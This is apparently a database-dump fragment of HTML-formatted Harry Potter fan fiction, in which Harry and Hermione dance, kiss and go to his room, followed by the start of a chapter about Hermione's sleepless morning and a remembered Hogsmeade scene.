class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I moved my feet back and forth\nat The Yule Ball,&#8221; Harry said. &#8220;That&#8217;s not exactly dancing.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, you said that tonight was\nmy night and that I could have anything I wanted,&#8221; she said. &nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I should have specified\nthat dancing wasn&#8217;t included in that package,&#8221; Harry said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Please,&#8221; Hermione said,\npouting. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Harry said. &#8220;I won&#8217;t\ndance, don&#8217;t ask me.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Pretty please,&#8221; Hermione said.\n&#8220;I won&#8217;t tell anyone that you weren&#8217;t being cool.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s for your own protection,\nyou know,&#8221; Harry said. &#8220;I&#8217;m only thinking of your toes.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll take my chances,&#8221; she\nsaid, smiling. &#8220;You know you&#8217;re going to do it, anyway. Come on.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; he said. &#8220;But don&#8217;t say\nI didn&#8217;t warn you.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They tentatively stepped out on\nthe dance floor. Hermione was leading the way. She led him to a spot near the\nback. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This way no one can see you\nmake a fool of yourself,&#8221; Hermione said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks, I think,&#8221; Harry said.\n&#8220;You probably just put me back here so people won&#8217;t see who you&#8217;re with.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That, too,&#8221; she said, winking\nat him. &#8220;Come on, get your groove on. Shake your bootie.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The song was fast with a\npulsating beat. To Hermione&#8217;s surprise, Harry wasn&#8217;t half-bad. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now who&#8217;s the big faker,&#8221; she\nsaid. &#8220;You&#8217;re not that bad.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just you wait,&#8221; Harry said. &#8220;I\nstart out well, but it gets progressively worse as we continue. You&#8217;re\nfantastic.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t tell anyone this,&#8221; she\nwhispered in his ear. &#8220;When I&#8217;m at home for summers and vacations, I&#8217;ll go in\nmy room and put my walkman on and dance all over the place. I missed being able\nto do that while we were at Hogwarts.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I had no idea,&#8221; Harry said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, there&#8217;s a lot you don&#8217;t\nknow about me, Harry Potter,&#8221; she said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; All of a sudden the song ended\nand the deejay came over the speaker. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re gonna slow things down\nnow. So you couples get together and dance real close.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione started to walk back\ntoward the table. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where are you going?&#8221; Harry\nasked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s a slow one,&#8221; Hermione\nsaid. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You don&#8217;t get away that easy,&#8221;\nHarry said. &#8220;You got me out here, we&#8217;re gonna dance.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; she smiled, putting her\narms around his neck. &#8220;Just don&#8217;t step on my toes.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The song that played was &#8220;All\nAlong&#8221; by Blessid Union of Souls. As they danced, Hermione was struck by how\nmuch the music affected her. The music seemed to fit the two of them,\nperfectly. She found herself holding onto him tighter as the music played. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><br>\n<i>Seems like yesterday but years have passed us by<br>\nPrecious memories are clear before my eyes<br>\nI can hear your voice calling out my name<br>\nBut I don\'t know you now, nothing stays the same<br>\n<br>\nAll along I have wanted you<br>\nI pray tonight that you want me, too<br>\nAll along there was no one else<br>\nI\'ve been waiting here all by myself<br>\n<br>\nIf you were here with me we\'d ride the ocean tide<br>\nTo that special place I help for you deep inside<br>\nI\'ve kept good company since you\'ve been away<br>\nLonely stayed with me with pride began to fade<br>\n<br>\nAll along I have wanted you<br>\nI pray tonight that you want me, too<br>\nAll along there was no one else<br>\nI\'ve been waiting here all by myself<br>\n<br>\nAnd I will follow you til the end of time<br>\nTil our love is at the end of the line<br>\nYou rolled out of my life just like the wind<br>\nAnd left behind a broken heart<br>\n<br>\nAll along I have wanted you<br>\nI pray tonight that you want me, too<br>\nAll along there was no one else<br>\nI\'ve been waiting here all by myself</i><i><br>&nbsp;</i></p>\n\n<p class="MsoNormal">When the song was\nover, they still held each other. Hermione finally let go of him and looked\ndown, not wanting to meet his gaze. He took his hand and gently lifted her chin\nup to make her look at him. He softly kissed her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She felt like the wind had been\nknocked out of her. She&#8217;d been kissed before, but never like this. She pulled\naway, scared of how this kiss made her feel. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sorry,&#8221; he said. &#8220;I&#8217;ve\nwanted to do that for a long time.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You don&#8217;t have to be sorry,&#8221; she\nsaid. &#8220;I&#8217;ve wanted you to do that for a long time.&#8221;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I almost did the other\nnight in the common room. If Ron hadn&#8217;t interrupted, I would have,&#8221; he said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know,&#8221; she said.&nbsp; She looked around. The deejay had begun to\nplay another fast song. &#8220;Do you, um, want to get out of here?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked confused. &#8220;Yeah, if\nyou do.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I do,&#8221; she said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They walked out of the club in\nsilence. Neither of them said a word. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you want me to take you\nhome?&#8221; he asked, finally. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think you should,&#8221; she said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Harry said, hurt. &#8220;I&#8217;m\nsorry about that back there, Hermione. It&#8217;s just we were dancing and that song\nand we were so close, I just couldn&#8217;t help it. Now things are going to be all\nawkward between us and believe me that&#8217;s the last thing I want. We can just\nforget that that happened.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We can&#8217;t,&#8221; Hermione said. &#8220;That\nwas huge. You can&#8217;t just forget something like that. And I don&#8217;t want to forget\nit, Harry. It&#8217;s something that&#8217;s been building between us for a long time.&nbsp; It was inevitable.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; he said. &#8220;So what do we\ndo now?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t know,&#8221; she said.&nbsp; They both stood there on the street staring\nat each other. Hermione looked at him intently. She couldn&#8217;t think straight.\nBefore she could stop herself, she went over to Harry and kissed him. This kiss\nwas much more passionate than the first had been. When they finally broke\napart, they were both breathless. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wow,&#8221; Harry said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled. &#8220;So are you\ngoing to take me home or not?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Huh?&#8221; Harry asked, still dazed\nfrom the kiss. &#8220;Sure.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He started to walk toward her\nstreet. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; she said, standing\nstill.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8216;What?&#8221; he asked, confused. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not my home,&#8221; she said. &#8220;I, um,\nI heard you had a room at The Leaky Cauldron.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; he said. &#8220;I do. Wait,\nare you saying---I mean, are you saying that you want.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She smiled. &#8220;Yeah, that&#8217;s what\nI&#8217;m saying. If you want to, that is---&#8220;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; he said. &#8220;Are you sure?&#8221;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;More sure than I&#8217;ve ever\nbeen of anything in my life.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; he said. &#8220;I guess we\nshould apparate.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; she said. &#8220;I should\nprobably call my mum first and let her know so they don&#8217;t worry.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; he said. &#8220;Do we need to\nfind a payphone?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, &#8220; she said. &#8220;I have a cell\nphone. My dad let me have one for my birthday last year. I&#8217;ll just leave a\nmessage on the answering machine. They&#8217;ve probably gone to sleep by now.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She took the phone out of her\npurse and quickly dialed the number. When the answering machine picked up she\nleft a quick message. &#8220;Hi, mum and dad. Harry and I met up with some friends\nfrom school and it got kind of late so I took a room at The Leaky Cauldron.\nI&#8217;ll see you tomorrow. Love you.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione hung the phone up and\nplaced it back in her purse. She looked nervously at Harry. &nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You ready?&#8221; he asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; she said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They found themselves back at\nThe Leaky Cauldron and snuck back up the stairs to Harry&#8217;s room. There were\nquite a few people in there celebrating so it wasn&#8217;t too hard to sneak past the\ncrowd. Harry opened the door and ushered Hermione inside. &nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They didn&#8217;t say anything to each\nother. Hermione walked over to the bed and sat down. Hermione smiled as Harry\nsat down next to her. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve never done this before,&#8221;\nHermione said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Neither have I,&#8221; he said,\nleaning in to kiss her. They fell back onto the bed. Harry started to unbutton\nHermione&#8217;s shirt. He stopped all of a sudden and looked down at her. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you sure?&#8221; he said. &#8220;This\ncould change everything, you know?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Promise?&#8221; she asked, smiling. </p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n\n\n\n\n\n'),
	(255, 7, '\n\n\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chapter Seven </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Present\nday London </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The morning after Harry&#8217;s arrival on\nHermione&#8217;s doorstep&#8230;&#8230;&#8230;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">When\nthe sun broke through Hermione&#8217;s window, she officially gave up on getting any\nsleep. She wanted to sleep. She had wanted to sleep so badly. She&#8217;d even\ncontemplated going into the kitchen and brewing up a sleeping potion, but she\ndidn&#8217;t have any of the ingredients. She&#8217;d been meaning to stop by Diagon Alley\nand restock her supplies, but with the impromptu engagement party at the\nBurrow, she hadn&#8217;t had time. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; What she wanted to do more than\nanything was to crawl back under her covers, and sleep. She knew that wasn&#8217;t\ngoing to happen. She quickly walked into her bathroom and splashed some cold\nwater on her face. She caught a glimpse of her reflection in the mirror and\nwondered who was that haggard, pale person looking back at her? She swore she\ncould probably have hauled Hagrid in the bags under her eyes. She gave a long\nsigh and pulled her long hair into a loose ponytail. She slipped her robe on\nand walked out of the room. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To her surprise and anger, Harry was\nasleep on the couch. &#8220;How can he sleep?&#8221; she whispered under hear breath. &#8220;He\nturns my life upside down in the matter of one night and I can&#8217;t get a decent\nnight of sleep, yet he sleeps like a baby. Totally unfair.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As she stood there looking at him, she\ncouldn&#8217;t help but wonder how he did it. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She&#8217;d been wondering how\nshe&#8217;d react when and if she and Harry saw each other again. She&#8217;d thought up\ndifferent scenarios in her mind over the past five years. She&#8217;d wondered what\nhe&#8217;d say and what she&#8217;d say and how they would act toward each other. She&#8217;d had\nlittle dress rehearsals for that event in her mind for five years now. That was\nthe funny thing about life, though. Things never go as you plan, Hermione\nthought.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Any\nplan she might have had went right out the window when she opened that door and\nsaw those familiar green eyes and that warm, infectious smile. Even after all\nthis time, they could still make her turn into a pile of goo. She couldn&#8217;t\ncount the number of times that she&#8217;d been mad at him or disappointed in him and\nall he&#8217;d have to do is smile at her and she&#8217;d melt. </p>\n\n<p class="MsoBodyText2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Her mind went back to that time in\ntheir third year at Hogwarts when Harry had been prohibited from going into\nHogsmeade. When he&#8217;d used his Invisibility Cloak to sneak into the village. She\nand Ron had been standing outside a shop called Unusual Tastes examining some\nblood-flavored lollipops when he&#8217;d surprised them. He told them all about the\nMarauder&#8217;s Map and how Fred and George had given it to him. Hermione, worried\nfor Harry&#8217;s safety, urged him to turn the map in at once. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But\nHarry isn&#8217;t going to keep it!&#8221; said Hermione, as though the idea was ludicrous.\n&#8220;He&#8217;s going to hand it in to Professor McGonagall, aren&#8217;t you, Harry?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,\nI&#8217;m not!&#8221; said Harry. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are\nyou mad?&#8221; said Ron, goggling at Hermione. &#8220;Hand in something that good?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;If\nI hand it in, I&#8217;ll have to say where I got it! Filch would know Fred and George\nnicked it!&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;But what about Sirius Black?&#8221;\nHermione hissed. &#8220;He could be using one of the passages on that map to get into\nthe castle! The teachers have to know!&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She and Ron and Harry had argued back\nand forth about what to do with the map. </p>\n\n<p class="MsoBodyText3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, but---but---&#8220;Hermione seemed to\nbe struggling to find another problem. &#8220;Look, Harry still shouldn&#8217;t be coming\ninto Hogsmeade. He hasn&#8217;t got a signed form! If anyone finds out, he&#8217;ll be in\nso much trouble! And it&#8217;s not nightfall yet---what if Sirius Black turns up\ntoday? Now?&#8221;</p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;d have a job spotting Harry in\nthis,&#8221; said Ron, nodding through the mullioned windows at the thick, swirling\nsnow. &#8220;Come on, Hermione, 